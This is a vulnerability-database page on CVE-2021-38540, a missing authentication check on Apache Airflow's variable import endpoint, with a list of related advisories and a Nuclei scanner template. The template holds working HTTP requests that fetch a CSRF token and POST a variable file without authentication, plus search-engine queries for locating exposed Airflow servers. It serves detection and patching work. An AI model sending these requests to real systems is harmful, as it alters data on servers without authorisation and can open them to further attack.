| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| Exploit for Missing Authentication for Critical Function in Apache Airflow | 13 Jun 202211:43 | – | githubexploit | |
| Exploit for Missing Authentication for Critical Function in Apache Airflow | 13 Jun 202211:43 | – | githubexploit | |
| CVE-2021-38540 | 9 Sep 202118:29 | – | circl | |
| Apache Airflow 访问控制错误漏洞 | 9 Sep 202100:00 | – | cnnvd | |
| Apache Airflow Licensing Issue Vulnerability (CNVD-2022-62076) | 12 Sep 202100:00 | – | cnvd | |
| CVE-2021-38540 | 9 Sep 202115:05 | – | cve | |
| CVE-2021-38540 Apache Airflow: Variable Import endpoint missed authentication check | 9 Sep 202115:05 | – | cvelist | |
| Missing Authentication for Critical Function in Apache Airflow | 24 May 202219:14 | – | github | |
| CVE-2021-38540 | 9 Sep 202115:15 | – | nvd | |
| BIT-AIRFLOW-2021-38540 Apache Airflow: Variable Import endpoint missed authentication check | 6 Mar 202410:58 | – | osv |
id: CVE-2021-38540
info:
name: Apache Airflow - Unauthenticated Variable Import
author: pdteam
severity: critical
description: Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution.
impact: |
An attacker can exploit this vulnerability to import malicious variables, potentially gaining unauthorized access to sensitive data.
remediation: Upgrade to Apache Airflow 2.1.3 or higher.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-38540
- https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E
- https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E
- https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2%40%3Cannounce.apache.org%3E
- https://github.com/WhooAmii/POC_to_review
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-38540
cwe-id: CWE-306,CWE-269
epss-score: 0.80938
epss-percentile: 0.99582
cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: apache
product: airflow
shodan-query:
- title:"Sign In - Airflow"
- http.title:"airflow - dags" || http.html:"apache airflow"
- http.title:"sign in - airflow"
- product:"redis"
fofa-query:
- title="sign in - airflow"
- apache airflow
- title="airflow - dags" || http.html:"apache airflow"
google-query:
- intitle:"sign in - airflow"
- intitle:"airflow - dags" || http.html:"apache airflow"
tags: cve2021,cve,apache,airflow,rce,intrusive,vuln
http:
- raw:
- |
GET /login/ HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
- |
POST /variable/varimport HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7
Referer: {{RootURL}}/admin/variable/
------WebKitFormBoundaryB874qcjbpxTP1Hj7
Content-Disposition: form-data; name="csrf_token"
{{csrf}}
------WebKitFormBoundaryB874qcjbpxTP1Hj7
Content-Disposition: form-data; name="file"; filename="{{randstr}}.json"
Content-Type: application/json
{
"type": "{{randstr}}"
}
------WebKitFormBoundaryB874qcjbpxTP1Hj7--
matchers-condition: and
matchers:
- type: dsl
dsl:
- contains(body_1, "Sign In")
- status_code_2 == 302
- contains(header_2, "session=.")
condition: and
- type: word
words:
- 'You should be redirected automatically to target URL: <a href="/">'
extractors:
- type: regex
name: csrf
group: 1
regex:
- type="hidden" value="(.*?)">
internal: true
# digest: 4a0a00473045022011406193310800e0bd8aaf3a67ce0e8c5b5256a459fc77fe2011014750ad9005022100d2f4c9c86227401a3b7bbf70f2597a68f010ce3abf49a78022dd630d92f28856:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation